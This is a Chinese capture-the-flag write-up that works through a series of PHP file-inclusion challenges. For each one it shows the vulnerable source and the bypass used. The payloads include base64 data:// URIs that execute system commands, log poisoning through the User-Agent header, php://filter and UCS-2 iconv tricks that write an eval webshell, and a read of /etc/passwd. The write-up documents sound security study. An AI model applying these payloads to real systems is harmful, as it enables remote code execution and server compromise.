刷题记录。
目录
web78
关键源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}
没有任何过滤。
抓包,用repeater模块(个人习惯,方便)
使用伪协议php://input任意命令执行
web79
关键源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
include($file);
}
将php替换为???,把php过滤了,使用data协议绕过,data协议可以使用base64编码。
参考payload:
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
flag在源码里。
web80
关键源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}
把data协议也ban了,换一种方式,不直接通过当前页面进行内容的传递,使用日志包含。
通过wappalyzer查看网页的banner信息,发现是nginx服务器。
nginx服务器的日志通常路径为:
/var/log/nginx/access.log
或
/var/log/nginx/error.log
本题的路径是/var/log/nginx/access.log.
通过file读取日志,发现内容为请求行、UA头、IP地址。
通过抓包在UA头中插入payload,文件包含日志使代码执行。
参考payload:
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) <?php system('cat fl0g.php');?>Gecko/20100101 Firefox/56.0
#修改的UA头
flag在源码里。
web81
关键源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}
和80一样。
web82-86:
竞争环境需要晚上11点30分至次日7时30分之间做,其他时间不开放竞争条件
(在学校断电真的不好整啊,下次一定补)
web87
可供参考文章:https://xz.aliyun.com/t/8163#toc-3
说来也巧,这几天刚好有搜php伪协议查缺补漏,正好碰上这题。
关键源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}
这里有两个地方要绕过,一个是str_replace对file内容的替换,一个是die('大佬别秀了') 。观察到后面有一个urldecode,对file内容的检测可以用urldecode绕过,这里进行两次url编码(后端服务器+urldecode)
双重url编码用cyberchef编码就行了。(这里推荐一个软件,utools,上面集成很多好用的工具,非常提高效率,包括cyberchef这些编码类的,很适合日常使用)
大致讲一下参考文章的思路,通过filter协议写入文件,filter协议可以使用base64,rot13等过滤器对文章内容进行解码,这样的话,原来的
<?php die('大佬别秀了');?>
也会被解码,解码后的字符php引擎就无法识别了,自然无法执行。
这里我演示一下使用base64的方法。其他方法也差不多,传入编码后的内容,使用过滤器解码,执行。
base64解码的范围是 10个数字,26个大写字母,26个小写字母,1个+,一个 / 所以phpdie会被解码,其他字符不会被解码,但是我们要在前面加两个字符闭合phpdie的解码,不然就会对webshell的解码产生影响(解码为4个字节转3个字节,其他个数虽然也能解码,但是会加上我们的webshell的内容,详情可以去搜base64编码的原理,这里不做更多的叙述)。
aa+base64编码后的webshell。
最终payload:
web88
关键源码:
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
发现data协议还可以用,但是要使用base64编码,编码后不能有+ = ,=号可以直接去掉,补字节用的填充字符,去掉不影响解码(问了群里大佬),+号就没办法了,所以带有+号的payload是不能用的。
参考payload:
?file=data:text/plain;base64,PD9waHAgcGFzc3RocnUoJ2xzJyk7Pz4
#passthru('ls');
?file=data:text/plain;base64,PD9waHAgaGlnaGxpZ2h0X2ZpbGUoJ2ZsMGcucGhwJyk7Pz4
#highlight_file('fl0g.php');
web116
好在偶尔也玩玩misc
通过打开题目链接下载了一个html文件,直接打开没啥东西。
使用010editor打开看看
isomiso2avc1mp41是mp4文件的特征,改后缀为mp4就能正常打开了,改完后缀后再次打开,
发现一个png文件,保存下来,
应该是主页源码了,传参file,使用filter方法过滤,试了一下
?file=/etc/passwd
能够正常读取,试了一下读取
/var/www/html/flag.php
成功下载flag文件,得到flag。
web117
参考文章:
https://xz.aliyun.com/t/8163#toc-3https://xz.aliyun.com/t/8163#toc-3关键源码:
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
和web87很类似,只是限制了我们过滤器的选择,base64,rot13,带有string的过滤器都不能用了。通过查阅之前的文章,发现convert.iconv.这个过滤器还是可以用的。
ucs-2 和ucs-4都能用。
ucs-2 二位一反转,字符个数要在偶数位上,ucs-4 四位一反转,字符个数要是4的倍数。位数好控制,参数改改长度就行了。
echo iconv没得到结果,所以按照二位一反转的原理稍微写了一下:
payload="<?php @eval($_POST[aaaa]);?>"
L=len(payload)
if L%2!=0:
print(L)
st=list(payload)
for i in range(len(st)):
if i%2 == 1:
st[i],st[i-1]=st[i-1],st[i]
for i in st:
print(i,end='')
参考payload:
?file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=2.php
contents=?<hp pe@av(l_$OPTSa[aa]a;)>?
上传
成功得到flag。
如有错误,欢迎指正。
欢迎交流。